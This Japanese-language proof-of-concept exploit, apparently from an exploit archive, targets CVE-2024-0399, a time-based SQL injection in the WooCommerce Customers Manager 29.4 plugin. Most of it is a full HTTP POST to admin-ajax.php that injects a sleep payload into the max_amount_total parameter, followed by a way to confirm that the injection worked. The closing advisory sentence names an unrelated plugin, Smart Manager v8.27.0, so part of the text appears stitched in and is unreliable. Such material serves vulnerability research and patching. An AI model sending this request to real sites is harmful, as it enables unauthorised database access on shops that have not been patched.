
CVE-2024-0399 の概念実証エクスプロイト、WooCommerce Customers Manager 29.4 における認証後の時間ベースSQLインジェクション、管理AJAXエンドポイントを介した取引金額パラメータを標的とする。
エクスプロイトタイトル: WooCommerce Customers Manager 29.4 - 認証後SQLインジェクション
日付: 2024-03-25
エクスプロイト作成者: Ivan Spiridonov - xbz0n
ソフトウェアリンク: https://codecanyon.net/item/woocommerce-customers-manager/10965432
バージョン: 29.4
テスト環境: Ubuntu 22.04
CVE: CVE-2024-0399
このプラグインは、SQLステートメントで使用する前にパラメータを適切にサニタイズおよびエスケープしておらず、Subscriber+ロールで悪用可能なSQLインジェクションにつながります。
脆弱性は、管理AJAXエンドポイントで使用される'transaction amount'パラメータ('max_amount', 'max_amount_total', 'min_amount', 'min_amount_total')に存在します。これらのパラメータにSQLコマンドを注入することで、認証された攻撃者がSQLクエリを操作し、タイムベースのSQLインジェクションの脆弱性を引き起こす可能性があります。
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/admin.php?page=wccm-discover-customer
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------2461714219322283440478088295
Content-Length: 1877
Origin: http://localhost
Connection: close
Cookie: Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="action"
wccm_get_orders_tot_num
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="start_date"
2024-01-09
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="end_date"
2024-01-11
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="customer_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="category_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount_total"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount_total"
(select*from(select(sleep(20)))a)
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_filters_relationship"
and
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="statuses"
wc-pending,wc-processing,wc-on-hold,wc-completed,wc-cancelled,wc-refunded,wc-failed,wc-checkout-draft
-----------------------------2461714219322283440478088295--
サーバーの応答が約20秒遅延する場合、タイムベースのSQLインジェクションが成功したことを示し、脆弱性が確認されます。
WooCommerce Customers Manager v29.4のユーザーは、影響を受けるエンドポイントへのアクセスを制限し、修正バージョンがリリースされたらすぐにプラグインを更新することを強くお勧めします。このアドバイザリは、Smart Manager v8.27.0の全ユーザーに対し、このSQLインジェクションの脆弱性から保護するために直ちにプラグインを更新するよう注意を促すものです。